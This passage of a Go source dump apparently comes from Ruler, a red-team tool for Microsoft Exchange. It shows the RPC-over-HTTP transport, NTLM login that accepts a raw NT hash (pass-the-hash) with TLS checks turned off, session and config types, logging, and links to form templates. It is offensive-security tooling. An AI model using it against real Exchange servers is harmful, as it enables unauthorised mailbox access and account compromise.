5 | "bytes"
6 | "crypto/tls"
7 | "fmt"
8 | "io"
9 | "net"
10 | "net/url"
11 | "strings"
12 | "sync"
13 | "time"
14 |
15 | "github.com/sensepost/ruler/utils"
16 | "github.com/staaldraad/go-ntlm/ntlm"
17 | )
18 |
19 | var rpcInConn net.Conn
20 | var rpcOutConn net.Conn
21 | var rpcInR, rpcInW = io.Pipe()
22 | var rpcOutR, rpcOutW = io.Pipe()
23 | var rpcRespBody *bufio.Reader
24 | var callcounter int
25 | var responses = make([]RPCResponse, 0)
26 | var httpResponses = make([][]byte, 0)
27 | var rpcntlmsession ntlm.ClientSession
28 | var fragged bool
29 | var mutex = &sync.Mutex{}
30 | var writemutex = &sync.Mutex{}
31 |
32 | //var AuthSession.ContextHandle []byte
33 |
34 | //AuthSession Keep track of session data
35 | var AuthSession *utils.Session
36 |
37 | func setupHTTP(rpctype string, URL string, ntlmAuth bool, full bool) (net.Conn, error) {
38 | u, err := url.Parse(URL)
39 | var connection net.Conn
40 | if u.Scheme == "http" {
41 | connection, err = net.Dial("tcp", fmt.Sprintf("%s:80", u.Host))
42 | } else {
43 | conf := tls.Config{InsecureSkipVerify: true}
44 | connection, err = tls.Dial("tcp", fmt.Sprintf("%s:443", u.Host), &conf)
45 | }
46 |
47 | if err != nil {
48 | return nil, fmt.Errorf("RPC Setup Err: %s", err)
49 | }
50 | var request string
51 |
52 | if full == true {
53 | request = fmt.Sprintf("%s %s HTTP/1.1\r\nHost: %s\r\n", rpctype, u.String(), u.Host)
54 | } else {
55 | request = fmt.Sprintf("%s %s HTTP/1.1\r\nHost: %s\r\n", rpctype, u.RequestURI(), u.Host)
56 | }
57 |
58 | request = fmt.Sprintf("%sUser-Agent: MSRPC\r\n", request)
59 | request = fmt.Sprintf("%sCache-Control: no-cache\r\n", request)
60 | request = fmt.Sprintf("%sAccept: application/rpc\r\n", request)
61 | request = fmt.Sprintf("%sConnection: keep-alive\r\n", request)
62 |
63 | //add cookies
64 | cookiestr := ""
65 | for _, c := range AuthSession.CookieJar.Cookies(u) {
66 | cookiestr = fmt.Sprintf("%s%s=%s; ", cookiestr, c.Name, c.Value)
67 | }
68 | if cookiestr != "" {
69 | request = fmt.Sprintf("%sCookie: %s\r\n", request, cookiestr)
70 | }
71 |
72 | var authenticate *ntlm.AuthenticateMessage
73 | if ntlmAuth == true {
74 |
75 | //we should probably extract the NTLM type from the server response and use appropriate
76 | session, err := ntlm.CreateClientSession(ntlm.Version2, ntlm.ConnectionlessMode)
77 | b, _ := session.GenerateNegotiateMessage()
78 |
79 | if err != nil {
80 | return nil, err
81 | }
82 |
83 | //add NTML Authorization header
84 | requestInit := fmt.Sprintf("%sAuthorization: NTLM %s\r\n", request, utils.EncBase64(b.Bytes()))
85 | requestInit = fmt.Sprintf("%sContent-Length: 0\r\n\r\n", requestInit)
86 |
87 | //send connect
88 | connection.Write([]byte(requestInit))
89 | //read response
90 | data := make([]byte, 2048)
91 | _, err = connection.Read(data)
92 | if err != nil {
93 | if full == false {
94 | return nil, fmt.Errorf("Failed with initial setup for %s : %s\n", rpctype, err)
95 | }
96 | //utils.Trace.Printf("Failed with initial setup for %s trying again...\n", rpctype)
97 | return setupHTTP(rpctype, URL, ntlmAuth, false)
98 | }
99 |
100 | parts := strings.Split(string(data), "\r\n")
101 | ntlmChallengeHeader := ""
102 | for _, v := range parts {
103 | if n := strings.Split(v, ": "); len(n) > 0 {
104 | if n[0] == "WWW-Authenticate" {
105 | ntlmChallengeHeader = n[1]
106 | break
107 | }
108 | }
109 | }
110 |
111 | ntlmChallengeString := strings.Replace(ntlmChallengeHeader, "NTLM ", "", 1)
112 | challengeBytes, err := utils.DecBase64(ntlmChallengeString)
113 | if err != nil {
114 | if full == false {
115 | return nil, fmt.Errorf("Failed with initial setup for %s : %s\n", rpctype, err)
116 | }
117 | utils.Fail.Printf("Failed with initial setup for %s trying again...\n", rpctype)
118 | return setupHTTP(rpctype, URL, ntlmAuth, false)
119 | }
120 |
121 | session.SetUserInfo(AuthSession.User, AuthSession.Pass, AuthSession.Domain)
122 | if len(AuthSession.NTHash) > 0 {
123 | session.SetNTHash(AuthSession.NTHash)
124 | }
125 |
126 | if len(challengeBytes) == 0 {
127 | utils.Debug.Println(string(data))
128 | return nil, fmt.Errorf("Authentication Error. No NTLM Challenge")
129 | }
130 | // parse NTLM challenge
131 | challenge, err := ntlm.ParseChallengeMessage(challengeBytes)
132 | if err != nil {
133 | utils.Debug.Println(string(data))
134 | return nil, err
135 | }
136 | err = session.ProcessChallengeMessage(challenge)
137 | if err != nil {
138 | utils.Debug.Println(string(data))
139 | return nil, err
140 | }
141 | // authenticate user
142 | authenticate, err = session.GenerateAuthenticateMessage()
143 |
144 | if err != nil {
145 | utils.Debug.Println(string(data))
146 | return nil, err
147 | }
148 | }
149 |
150 | if rpctype == "RPC_IN_DATA" {
151 | request = fmt.Sprintf("%sContent-Length: 1073741824\r\n", request)
152 | } else if rpctype == "RPC_OUT_DATA" {
153 | request = fmt.Sprintf("%sContent-Length: 76\r\n", request)
154 | }
155 |
156 | if ntlmAuth == true {
157 | request = fmt.Sprintf("%sAuthorization: NTLM %s\r\n\r\n", request, utils.EncBase64(authenticate.Bytes()))
158 | } else {
159 | if u.Host == "outlook.office365.com" {
160 | request = fmt.Sprintf("%sAuthorization: Basic %s\r\n\r\n", request, utils.EncBase64([]byte(fmt.Sprintf("%s:%s", AuthSession.Email, AuthSession.Pass))))
161 | } else {
162 | request = fmt.Sprintf("%sAuthorization: Basic %s\r\n\r\n", request, utils.EncBase64([]byte(fmt.Sprintf("%s\\%s:%s", AuthSession.Domain, AuthSession.User, AuthSession.Pass))))
163 | }
164 | }
165 |
166 | if cookiestr != "" {
167 | request = fmt.Sprintf("%sCookie: %s\r\n", request, cookiestr)
168 | }
169 | connection.Write([]byte(request))
170 |
171 | return connection, nil
172 | }
173 |
174 | //RPCOpen opens HTTP for RPC_IN_DATA and RPC_OUT_DATA
175 | func RPCOpen(URL string, readySignal chan bool, errOccurred chan error) (err error) {
176 | //I'm so damn frustrated at not being able to use the http client here
177 | //can't find a way to keep the write channel open (other than going over to http/2, which isn't valid here)
178 | //so this is some damn messy code, but screw it
179 |
180 | rpcInConn, err = setupHTTP("RPC_IN_DATA", URL, AuthSession.RPCNtlm, true)
181 |
182 | if err != nil {
183 | readySignal <- false
184 | errOccurred <- err
185 | return err
186 | }
187 |
188 | //open the RPC_OUT_DATA channel, receive a "ready" signal when this is setup
189 | //this will be sent back to the caller through "readySignal", while error is sent through errOccurred
190 | go RPCOpenOut(URL, readySignal, errOccurred)
191 |
192 | select {
193 | case c := <-readySignal:
194 | if c == true {
195 | readySignal <- true
196 | } else {
197 | readySignal <- false
198 | return err
199 | }
200 | case <-time.After(time.Second * 5): // call timed out
201 | readySignal <- true
202 | }
203 |
204 | for {
205 | data := make([]byte, 2048)
206 | n, err := rpcInR.Read(data)
207 | if n > 0 {
208 | _, err = rpcInConn.Write(data[:n])
209 | }
210 | if err != nil && err != io.EOF {
211 | utils.Error.Println("RPCIN_ERROR: ", err)
212 | break
213 | }
214 | }
215 | return nil
216 | }
217 |
218 | //RPCOpenOut function opens the RPC_OUT_DATA channel
219 | //starts our listening "loop" which scans for new responses and pushes
220 | //these to our list of recieved responses
221 | func RPCOpenOut(URL string, readySignal chan<- bool, errOccurred chan<- error) (err error) {
222 |
223 | rpcOutConn, err = setupHTTP("RPC_OUT_DATA", URL, AuthSession.RPCNtlm, true)
224 | if err != nil {
225 | readySignal <- false
226 | errOccurred <- err
227 | return err
228 | }
229 |
230 | scanner := bufio.NewScanner(rpcOutConn)
231 | scanner.Split(SplitData)
232 |
233 | for scanner.Scan() {
234 | if b := scanner.Bytes(); b != nil {
235 | if string(b[0:4]) == "HTTP" {
236 | httpResponses = append(httpResponses, b)
237 | }
238 | r := RPCResponse{}
239 | r.Unmarshal(b)
240 | r.Body = b
241 | mutex.Lock() //lets be safe, lock the responses array before adding a new value to it
242 |
243 | //if the PFCFlag is set to 0 or 2, this packet is fragment of the previous packet
244 | //take the PDU of this packet and append it to our previous packet
245 | if r.Header.PFCFlags == uint8(2) || r.Header.PFCFlags == uint8(0) {
246 | for k, v := range responses {
247 | if v.Header.CallID == r.Header.CallID {
248 | responses[k].PDU = append(v.PDU, r.PDU...)
249 | if r.Header.PFCFlags == uint8(2) {
250 | responses[k].Header.PFCFlags = 3
251 | }
252 | break
253 | }
254 | }
255 | } else {
256 | responses = append(responses, r)
257 | }
258 |
259 | mutex.Unlock()
260 | }
261 | }
262 |
263 | return nil
264 | }
265 |
266 | //RPCBind function establishes our session
267 | func RPCBind() error {
268 | var err error
269 | //Generate out-channel cookie
270 | //20 byte channel cookie for out-channel
271 | connB1 := ConnB1()
272 | //Send CONN/A1
273 | connA1 := ConnA1(connB1.VirtualConnectCookie.Cookie)
274 | RPCOutWrite(connA1.Marshal())
275 |
276 | //send CONN/B1
277 | RPCWrite(connB1.Marshal())
278 |
279 | //should check if we use Version1 or Version2
280 | rpcntlmsession, err = ntlm.CreateClientSession(ntlm.Version2, ntlm.ConnectionlessMode)
281 | if err != nil {
282 | return err
283 | }
284 |
285 | bind := BindPDU{}
286 | if AuthSession.RPCNetworkAuthLevel == RPC_C_AUTHN_LEVEL_PKT_PRIVACY {
287 | bind = SecureBind(AuthSession.RPCNetworkAuthLevel, AuthSession.RPCNetworkAuthType, &rpcntlmsession)
288 | } else {
289 | bind = Bind()
290 | }
291 |
292 | RPCWrite(bind.Marshal())
293 |
294 | if _, err := RPCRead(0); err != nil {
295 | return err
296 | }
297 | if _, err := RPCRead(0); err != nil {
298 | return err
299 | }
300 |
301 | //parse out and setup security
302 | if AuthSession.RPCNetworkAuthLevel == RPC_C_AUTHN_LEVEL_PKT_PRIVACY {
303 | resp, err := RPCRead(1)
304 |
305 | if err != nil {
306 | return err
307 | }
308 | sec := RTSSec{}
309 | pos, _ := sec.Unmarshal(resp.SecTrailer, int(resp.Header.AuthLen))
310 | //fmt.Printf("%x\n", resp.Body[len(resp.PDU)+pos+16:])
311 | challengeBytes := append(resp.Body[len(resp.PDU)+pos+16:], []byte{0x00}...)
312 |
313 | rpcntlmsession.SetUserInfo(AuthSession.User, AuthSession.Pass, AuthSession.Domain)
314 | rpcntlmsession.SetMode(ntlm.ConnectionOrientedMode)
315 | rpcntlmsession.SetTarget(fmt.Sprintf("exchangeMDB/%s", AuthSession.RPCMailbox))
316 | rpcntlmsession.SetNTHash(AuthSession.NTHash)
317 |
318 | challenge, err := ntlm.ParseChallengeMessage(challengeBytes)
319 |
320 | if err != nil {
321 | return fmt.Errorf("Bad Challenge Message %s", err)
322 | }
323 | err = rpcntlmsession.ProcessChallengeMessage(challenge)
324 | if err != nil {
325 | return fmt.Errorf("Bad Process Challenge %s", err)
326 | }
327 |
328 | // authenticate user
329 | authenticate, err := rpcntlmsession.GenerateAuthenticateMessageAV()
330 |
331 | if err != nil {
332 | utils.Debug.Println(string(resp.Body))
333 | return fmt.Errorf("Bad authenticate message %s", err)
334 | }
335 |
336 | //send auth setup complete bind
337 | au := Auth3(AuthSession.RPCNetworkAuthLevel, AuthSession.RPCNetworkAuthType, authenticate.Bytes())
338 | RPCWrite(au.Marshal())
339 | }
340 | return nil
341 | }
342 |
343 | //RPCPing fucntion
344 | func RPCPing() {
345 | rpcInW.Write(Ping().Marshal())
346 | }
347 |
348 | //EcDoRPCExt2 does our actual RPC request returns the mapi data
349 | func EcDoRPCExt2(MAPI []byte, auxLen uint32) ([]byte, error) {
350 |
351 | RPCWriteN(MAPI, auxLen, 0x0b)
352 | //RPCWrite(req.Marshal())
353 | resp, err := RPCRead(callcounter - 1)
354 |
355 | if err != nil {
356 | return nil, err
357 | }
358 |
359 | //decrypt response PDU
360 | if AuthSession.RPCNetworkAuthLevel == RPC_C_AUTHN_LEVEL_PKT_PRIVACY {
361 | if len(resp.PDU) < 20 {
362 | return nil, fmt.Errorf("Invalid response received. Please try again")
363 | }
364 | dec, _ := rpcntlmsession.UnSeal(resp.PDU[8:])
365 | sec := RTSSec{}
366 | sec.Unmarshal(resp.SecTrailer, int(resp.Header.AuthLen))
367 | return dec[20:], err
368 | }
369 |
370 | if len(resp.PDU) < 28 {
371 | utils.Debug.Println(resp)
372 | return nil, fmt.Errorf("Invalid response.")
373 | }
374 |
375 | return resp.PDU[28:], err
376 | }
377 |
378 | //EcDoRPCAbk makes a request for NSPI addressbook
379 | //Not fully implemented
380 | //TODO: complete this
381 | func EcDoRPCAbk(MAPI []byte, l int) ([]byte, error) {
382 | RPCWriteN(MAPI, uint32(l), 0x03)
383 | //RPCWrite(req.Marshal())
384 |
385 | resp, err := RPCRead(callcounter - 1)
386 |
387 | if err != nil {
388 | return nil, err
389 | }
390 | fmt.Printf("%x\n", resp.PDU)
391 | return resp.PDU, err
392 | }
393 |
394 | //DoConnectExRequest makes our connection request. After this we can use
395 | //EcDoRPCExt2 to make our MAPI requests
396 | func DoConnectExRequest(MAPI []byte, auxLen uint32) ([]byte, error) {
397 |
398 | callcounter += 2
399 |
400 | RPCWriteN(MAPI, auxLen, 0x0a)
401 |
402 | resp, err := RPCRead(callcounter - 1)
403 | if err == nil && len(resp.PDU) < 20 {
404 | resp, err = RPCRead(callcounter - 1)
405 | }
406 | if err != nil {
407 | return nil, err
408 | }
409 | var dec []byte
410 | //decrypt response PDU
411 | if AuthSession.RPCNetworkAuthLevel == RPC_C_AUTHN_LEVEL_PKT_PRIVACY {
412 | dec, _ = rpcntlmsession.UnSeal(resp.PDU[8:])
413 | AuthSession.ContextHandle = dec[4:20] //decrypted
414 | } else {
415 | AuthSession.ContextHandle = resp.PDU[12:28]
416 | }
417 |
418 | if utils.DecodeUint32(AuthSession.ContextHandle[0:4]) == 0x0000 {
419 | utils.Debug.Printf("%s\n%x\n", string(dec), resp)
420 | return nil, fmt.Errorf("\nUnable to obtain a session context\nTry again using the --encrypt flag. It is possible that the target requires 'Encrypt traffic between Outlook and Exchange' to be enabled")
421 | }
422 |
423 | return resp.Body, err
424 | }
425 |
426 | //RPCDummy is used to check if we can communicate with the server
427 | func RPCDummy() {
428 | header := RTSHeader{Version: 0x05, VersionMinor: 0, Type: DCERPC_PKT_REQUEST, PFCFlags: 0x03, AuthLen: 0, CallID: uint32(callcounter)}
429 | header.PackedDrep = 16
430 | req := RTSRequest{}
431 | req.MaxFrag = 0xFFFF
432 | req.MaxRecv = 0x0000
433 | req.Header = header
434 | req.Command = []byte{0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00}
435 | pdu := PDUData{}
436 | pdu.ContextHandle = AuthSession.ContextHandle
437 | pdu.AuxOut = 0x000001008
438 | req.PduData = pdu.Marshal()
439 | req.Header.FragLen = uint16(len(req.Marshal()))
440 | RPCWrite(req.Marshal())
441 | }
442 |
443 | //RPCDisconnect fucntion
444 | func RPCDisconnect() {
445 | header := RTSHeader{Version: 0x05, VersionMinor: 0, Type: DCERPC_PKT_REQUEST, PFCFlags: 0x03, AuthLen: 0, CallID: uint32(callcounter)}
446 | header.PackedDrep = 16
447 | req := RTSRequest{}
448 | req.MaxFrag = 0xFFFF
449 | req.MaxRecv = 0x0000
450 | req.Header = header
451 | req.Command = []byte{0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00} //opnum 0x01
452 | pdu := PDUData{}
453 | pdu.ContextHandle = AuthSession.ContextHandle
454 | pdu.AuxOut = 0x000001008
455 | req.PduData = pdu.Marshal()
456 | req.Header.FragLen = uint16(len(req.Marshal()))
457 | RPCWrite(req.Marshal())
458 | rpcInConn.Close()
459 | rpcOutConn.Close()
460 | }
461 |
462 | //RPCWriteN function writes to our RPC_IN_DATA channel
463 | func RPCWriteN(MAPI []byte, auxlen uint32, opnum byte) {
464 | header := RTSHeader{Version: 0x05, VersionMinor: 0, Type: DCERPC_PKT_REQUEST, PFCFlags: 0x03, AuthLen: 0, CallID: uint32(callcounter)}
465 | header.PackedDrep = 16
466 | req := RTSRequest{}
467 | req.Header = header
468 |
469 | req.MaxRecv = 0x1000
470 | req.Command = []byte{0x00, 0x00, opnum, 0x00} //command 10
471 |
472 | pdu := PDUData{}
473 | if opnum != 0x0a {
474 | req.Command = []byte{0x00, 0x00, opnum, 0x00, 0x00, 0x00, 0x00, 0x00} //command 10
475 | pdu.ContextHandle = AuthSession.ContextHandle
476 | }
477 | pdu.Data = MAPI
478 |
479 | pdu.CbAuxIn = uint32(auxlen)
480 | pdu.AuxOut = 0x000001000
481 |
482 | req.PduData = pdu.Marshal() //MAPI
483 | req.MaxFrag = uint16(len(pdu.Marshal()) + 24)
484 | req.Header.FragLen = uint16(len(req.Marshal()))
485 |
486 | if AuthSession.RPCNetworkAuthLevel == RPC_C_AUTHN_LEVEL_PKT_PRIVACY {
487 | var data []byte
488 | if opnum != 0x0a {
489 | req.Command = []byte{0x01, 0x00, opnum, 0x00}
490 | data = append([]byte{0x00, 0x00, 0x00, 0x00}, req.PduData...)
491 | } else {
492 | req.Command[0] = 0x01 //set CTX context id
493 | data = req.PduData
494 | }
495 |
496 | //pad if necessary
497 | pad := (4 - (len(data) % 4)) % 4
498 |
499 | data = append(data, bytes.Repeat([]byte{0xBB}, pad)...)
500 | req.PduData = data
501 | req.Header.FragLen += 24 //account for AuthData
502 |
503 | //add sectrailer
504 | secTrail := RTSSec{}
505 | secTrail.AuthLevel = AuthSession.RPCNetworkAuthLevel
506 | secTrail.AuthType = AuthSession.RPCNetworkAuthType
507 | secTrail.AuthPadLen = uint8(pad)
508 | secTrail.AuthCTX = 0
509 |
510 | req.SecTrailer = secTrail.Marshal()
511 | req.Header.AuthLen = 16
512 |
513 | //seal data, sign pdu
514 | //Sign the whole pdu, but encrypt just the PduData, not the dcerpc header.
515 | sealed, sign, _ := rpcntlmsession.SealV2(data, req.Marshal())
516 |
517 | req.AuthData = sign
518 | req.PduData = sealed
519 | }
520 | callcounter++
521 |
522 | writemutex.Lock() //lets be safe, don't think this is strictly necessary
523 | rpcInW.Write(req.Marshal())
524 | writemutex.Unlock()
525 |
526 | //previous versions were writing to the channel faster than the RPC proxy could handle the data. This caused issues...
527 | time.Sleep(time.Millisecond * 300)
528 | }
529 |
530 | //RPCWrite function writes to our RPC_IN_DATA channel
531 | func RPCWrite(data []byte) {
532 | callcounter++
533 | writemutex.Lock() //lets be safe, don't think this is strictly necessary
534 | rpcInW.Write(data)
535 | writemutex.Unlock()
536 | time.Sleep(time.Millisecond * 300)
537 | }
538 |
539 | //RPCOutWrite function writes to the RPC_OUT_DATA channel,
540 | //this should only happen once, for ConnA1
541 | func RPCOutWrite(data []byte) {
542 | if rpcOutConn != nil {
543 | writemutex.Lock() //lets be safe, don't think this is strictly necessary
544 | rpcOutConn.Write(data)
545 | writemutex.Unlock()
546 | time.Sleep(time.Millisecond * 300)
547 | }
548 | }
549 |
550 | //RPCRead function takes a call ID and searches for the response in
551 | //our list of received responses. Blocks until it finds a response
552 | func RPCRead(callID int) (RPCResponse, error) {
553 | c := make(chan RPCResponse, 1)
554 |
555 | go func() {
556 | stop := false
557 | for stop != true {
558 | for k, v := range responses {
559 | //if the PFCFlags is set to 1, this is a fragmented packet. wait to update it first
560 | if v.Header.CallID == uint32(callID) && v.Header.PFCFlags != 1 {
561 | responses = append(responses[:k], responses[k+1:]...)
562 | stop = true
563 | c <- v
564 | break
565 | }
566 | }
567 | }
568 | }()
569 |
570 | select {
571 | case resp := <-c:
572 | return resp, nil
573 | case <-time.After(time.Second * 15): // call timed out
574 | utils.Error.Println("RPC Timeout")
575 | //check if there is a 401 or other error message
576 | for k, v := range httpResponses {
577 | st := string(v)
578 | if er := strings.Split(strings.Split(st, "\r\n")[0], " "); len(er) > 1 && er[1] != "200" {
579 | utils.Debug.Println(st)
580 | return RPCResponse{}, fmt.Errorf("Invalid HTTP response: %s", er)
581 | } else if len(er) <= 1 {
582 | utils.Debug.Println(st)
583 | return RPCResponse{}, fmt.Errorf("Invalid HTTP response: %s", st)
584 | }
585 | httpResponses = append(httpResponses[:k], httpResponses[k+1:]...)
586 | }
587 | return RPCResponse{}, fmt.Errorf("Time-out reading from RPC")
588 | }
589 |
590 | }
591 |
592 | //SplitData is used to scan through the input stream and split data into individual responses
593 | func SplitData(data []byte, atEOF bool) (advance int, token []byte, err error) {
594 | if atEOF && len(data) == 0 {
595 | return 0, nil, nil
596 | }
597 |
598 | //check if HTTP response
599 | if string(data[0:4]) == "HTTP" {
600 | for k := range data {
601 | if bytes.Equal(data[k:k+4], []byte{0x0d, 0x0a, 0x0d, 0x0a}) {
602 | if bytes.Equal(data[k+4:k+5], []byte{0x31}) { //check if there is fragmentation
603 | fragged = true
604 | }
605 | return k + 4, data[0:k], nil //return the HTTP packet
606 | }
607 | }
608 | }
609 |
610 | if fragged {
611 | dbuf := []byte{}
612 | offset := 10 //the default offset for the location of the fragment length
613 | //find next 0x0d,0x0a
614 | for k := 0; k < len(data); k++ {
615 | if bytes.Equal(data[k:k+3], []byte{0x31, 0x0d, 0x0a}) { //this is a part of a fragment
616 | dbuf = []byte{0x05} //start the new fragment
617 | offset = 9 //adjust the offset, because the rest of the packet is in another fragment
618 | k += 4 //jump ahead to the next fragment
619 | continue
620 | } else if bytes.Equal(data[k:k+2], []byte{0x0d, 0x0a}) { //we have a fragment
621 | if len(data) < 12 { //check that there is enough data
622 | return 0, nil, nil
623 | }
624 | //get the length of the fragment
625 | fragLen := int(utils.DecodeUint16(data[k+offset : k+offset+2]))
626 | if offset == 9 { //we already have the start of the fragment, so adjust the length by 1
627 | fragLen--
628 | }
629 |
630 | if len(data) < fragLen { //check that there is enough data to read
631 | return 0, nil, nil //not enough data, restart the scan
632 | }
633 |
634 | dbuf = append(dbuf, data[k+2:k+fragLen+2]...) //get the fragment data
635 | if offset == 9 { //multiple fragments, so adjust the offset
636 | return k + len(dbuf) + 2, dbuf, nil
637 | }
638 | return k + len(dbuf) + 4, dbuf, nil //return the rpcpacket and the new scan position
639 | }
640 | }
641 | } else if !fragged && !atEOF { //there is no fragmentation
642 | if len(data) < 12 { //check that we have enough data
643 | return 0, nil, nil
644 | }
645 | fragLen := int(utils.DecodeUint16(data[8:10])) //get the length of the RPC packet
646 |
647 | if len(data) < fragLen { //check that we have enough data
648 | return 0, nil, nil
649 | }
650 | dbuf := []byte{}
651 | dbuf = append(dbuf, data[:fragLen]...) //read rpc packet
652 |
653 | return len(dbuf), dbuf, nil //return current position and rpc packet
654 | }
655 |
656 | if atEOF {
657 | return len(data), data, nil
658 | }
659 |
660 | return 0, nil, nil
661 | }
662 |
--------------------------------------------------------------------------------
/templates/formdeletetemplate.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/blackhatethicalhacking/ruler/297adf93a0021fa08b412d152993abc721a2d01f/templates/formdeletetemplate.bin
--------------------------------------------------------------------------------
/templates/formtemplate.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/blackhatethicalhacking/ruler/297adf93a0021fa08b412d152993abc721a2d01f/templates/formtemplate.bin
--------------------------------------------------------------------------------
/templates/img0.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/blackhatethicalhacking/ruler/297adf93a0021fa08b412d152993abc721a2d01f/templates/img0.bin
--------------------------------------------------------------------------------
/templates/img1.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/blackhatethicalhacking/ruler/297adf93a0021fa08b412d152993abc721a2d01f/templates/img1.bin
--------------------------------------------------------------------------------
/utils/datatypes.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | import (
4 | "encoding/xml"
5 | "net/http"
6 | "net/http/cookiejar"
7 | "net/url"
8 | )
9 |
10 | //Config containing the session variables
11 | type Config struct {
12 | Domain string
13 | User string
14 | Pass string
15 | Email string
16 | Basic bool
17 | Insecure bool
18 | Verbose bool
19 | Admin bool
20 | Proxy string
21 | }
22 |
23 | //Session stores authentication cookies ect
24 | type Session struct {
25 | User string
26 | Pass string
27 | Email string
28 | Domain string
29 | Proxy string
30 | Basic bool
31 | Insecure bool
32 | Verbose bool
33 | Admin bool
34 | DiscoURL *url.URL
35 | LID string
36 | URL *url.URL
37 | ABKURL *url.URL //URL for the AddressBook Provider
38 | Host string //used for TCP
39 | ReqCounter int
40 | Transport int
41 | CookieJar *cookiejar.Jar
42 | Client http.Client
43 | ClientSet bool
44 | LogonID byte
45 | Authenticated bool
46 | Folderids [][]byte
47 | RulesHandle []byte
48 | NTHash []byte
49 | NTLMAuth string
50 | BasicAuth string
51 |
52 | RPCSet bool
53 | ContextHandle []byte //16-byte cookie for the RPC session
54 | RPCURL string
55 | UserDN []byte
56 | Trigger string
57 | RPCMailbox string
58 | RPCEncrypt bool
59 | RPCNtlm bool
60 | RPCNetworkAuthLevel uint8
61 | RPCNetworkAuthType uint8
62 | RPCNtlmSessionKey []byte
63 | }
64 |
65 | //YamlConfig holds the data that a user supplies with a yaml config file
66 | type YamlConfig struct {
67 | Username string
68 | Email string
69 | Password string
70 | Hash string
71 | Domain string
72 | UserDN string
73 | Mailbox string
74 | RPCURL string
75 | RPC bool
76 | RPCEncrypt bool
77 | Ntlm bool
78 | MapiURL string
79 | }
80 |
81 | //AutodiscoverResp structure for unmarshal
82 | type AutodiscoverResp struct {
83 | Response Response
84 | }
85 |
86 | //Response structure for unmarshal
87 | type Response struct {
88 | User User
89 | Account Account
90 | Error AutoError
91 | }
92 |
93 | //AutoError structure for unmarshal
94 | type AutoError struct {
95 | ErrorCode string
96 | Message string
97 | DebugData string
98 | }
99 |
100 | //User structure for unmarshal
101 | type User struct {
102 | DisplayName string
103 | LegacyDN string
104 | DeploymentID string
105 | AutoDiscoverSMTPAddress string
106 | }
107 |
108 | //Account structure for unmarshal
109 | type Account struct {
110 | AccountType string
111 | Action string
112 | RedirectAddr string
113 | MicrosoftOnline bool
114 | Protocol []*Protocol
115 | }
116 |
117 | //Protocol structure for unmarshal
118 | type Protocol struct {
119 | Type string
120 | TypeAttr string `xml:"Type,attr"`
121 | Server string
122 | TTL string
123 | ServerDN string
124 | ServerVersion string
125 | MdbDN string
126 | PublicFolderServer string
127 | Port string
128 | DirectoryPort string
129 | ReferralPort string
130 | ASUrl string
131 | EWSUrl string
132 | EMWSUrl string
133 | SharingURL string
134 | ECPUrl string
135 | OOFUrl string
136 | UMUrl string
137 | OABUrl string
138 | EwsPartnerURL string
139 | LoginName string
140 | DomainRequired string
141 | DomainName string
142 | SPA string
143 | AuthPackage string
144 | CertPrincipleName string
145 | SSL string
146 | AuthRequired string
147 | UsePOPAuth string
148 | SMTPLast string
149 | NetworkRequirements string
150 | MailStore *MailStore
151 | AddressBook *AddressBook
152 | Internal *ProtoInternal
153 | External *ProtoInternal
154 | PublicFolderInformation *PublicFolderInformation
155 | }
156 |
157 | //ProtoInternal strucuture for unmarshal
158 | type ProtoInternal struct {
159 | OWAUrl string
160 | Protocol *Protocol
161 | }
162 |
163 | //MailStore structure for unmarshal
164 | type MailStore struct {
165 | InternalUrl string
166 | ExternalUrl string
167 | }
168 |
169 | //AddressBook structure for unmarshal
170 | type AddressBook struct {
171 | InternalUrl string
172 | ExternalUrl string
173 | }
174 |
175 | //PublicFolderInformation structure for unmarshal
176 | type PublicFolderInformation struct {
177 | SMTPAddress string
178 | }
179 |
180 | //Unmarshal returns the XML response as golang structs
181 | func (autodiscresp *AutodiscoverResp) Unmarshal(resp []byte) error {
182 | //var autodiscresp *AutodiscoverResp
183 | err := xml.Unmarshal(resp, autodiscresp)
184 | if err != nil {
185 | return err //fmt.Printf("error: %v", err)
186 | //return nil
187 | }
188 | return nil
189 | }
190 |
191 | //Unmarshal returns the XML response as golang structs
192 | func (autodiscresp *AutodiscoverResp) Marshal() (resp []byte, err error) {
193 | //var autodiscresp *AutodiscoverResp
194 | resp, err = xml.Marshal(autodiscresp)
195 | return resp, err
196 | }
197 |
--------------------------------------------------------------------------------
/utils/logging.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | import (
4 | "io"
5 | "log"
6 | "runtime"
7 | )
8 |
9 | var (
10 | Trace *log.Logger
11 | Info *log.Logger
12 | Question *log.Logger
13 | Fail *log.Logger
14 | Warning *log.Logger
15 | Debug *log.Logger
16 | Error *log.Logger
17 | Clear *log.Logger
18 | )
19 |
20 | //Init the logging function
21 | func Init(
22 | traceHandle io.Writer,
23 | infoHandle io.Writer,
24 | warningHandle io.Writer,
25 | errorHandle io.Writer) {
26 | if runtime.GOOS == "windows" {
27 | Trace = log.New(traceHandle, "[*] ", 0)
28 | Info = log.New(infoHandle, "[+] ", 0)
29 | Clear = log.New(infoHandle, " ", 0)
30 | Debug = log.New(warningHandle, "", 0)
31 | Fail = log.New(infoHandle, "[x] ", 0)
32 | Question = log.New(infoHandle, "[?] ", 0)
33 | Warning = log.New(infoHandle,
34 | "[WARNING] ", 0)
35 | Error = log.New(errorHandle,
36 | "ERROR: ", log.Ltime|log.Lshortfile)
37 |
38 | } else {
39 | Trace = log.New(traceHandle, "\033[33m[*] \033[0m", 0)
40 | Info = log.New(infoHandle, "\033[32m[+] \033[0m", 0)
41 | Clear = log.New(infoHandle, " ", 0)
42 | Debug = log.New(warningHandle, "", 0)
43 | Fail = log.New(infoHandle, "\033[91m[x] \033[0m", 0)
44 | Question = log.New(infoHandle, "\033[91m[?] \033[0m", 0)
45 | Warning = log.New(infoHandle,
46 | "\033[91m[WARNING] \033[0m", 0)
47 | Error = log.New(errorHandle,
48 | "\033[31mERROR\033[0m: ", log.Ltime|log.Lshortfile)
49 | }
50 | }
51 |
--------------------------------------------------------------------------------
/utils/utils.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | import (
4 | "bytes"
5 | "encoding/base64"
6 | "encoding/binary"
